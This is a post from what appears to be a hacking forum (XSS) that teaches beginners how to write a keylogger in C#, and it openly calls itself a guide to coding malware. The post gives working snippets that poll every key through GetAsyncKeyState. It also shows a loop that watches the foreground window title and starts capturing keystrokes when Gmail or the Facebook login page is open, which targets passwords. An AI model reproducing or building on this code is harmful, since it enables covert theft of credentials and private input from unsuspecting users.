• XSS.stack #1 – первый литературный журнал от юзеров форума

How To Write And Create a Keylogger in C# with

Zviper

floppy-диск
Пользователь
Регистрация
25.05.2022
Сообщения
2
Реакции
1
First I want to clarify that this is a very basic keylogger that almost everyone can do if you are starting to learn how to code malware you can use this as a guide and make your way.

Step 1
To hook into the keyboard, all you have to do is use these two C# lines:
  1. [DllImport("user32.dll")]
  2. public static extern int GetAsyncKeyState(Int32 i);
Basically what this does is that it determines whether a key is up or down at the time the function is called and whether the key was pressed after a previous call to GetAsyincKeyState.

Now that you have this you continually call this function to get the keyboard data you need, So lets go with the step 2:

  1. while (true)
  2. {
  3. Thread.Sleep(100);
  4. for (Int32 i = 0; i < 255; i++)
  5. {
  6. int state = GetAsyncKeyState(i);
  7. if (state == 1 || state == -32767)
  8. {
  9. Console.WriteLine((Keys)i);
  10. }
  11. }
  12. }
What you are doing here is basically that the loop will poll the keyboard every 100 milliseconds to detect the state of each key.

If one of them is pressed , it will print it out to the console.

I will show you a more complex but smarter way to do it:

  1. while (true)
  2. {
  3. IntPtr handle = GetForegroundWindow();
  4. if (GetWindowText(handle, buff, chars) > 0)
  5. {
  6. stringline = buff.ToString();
  7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up "))
  8. {
  9. //Check keyboard
  10. }
  11. }
  12. Thread.Sleep(100);
  13. }
This code will basically probe the active window every 100ms. GetForegroundWindows does the real heaving lifting. The title of the window will be returned in the “buff” variable, and the keyboard scanning code is called if it contains the word “Facebook” or “Gmail.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх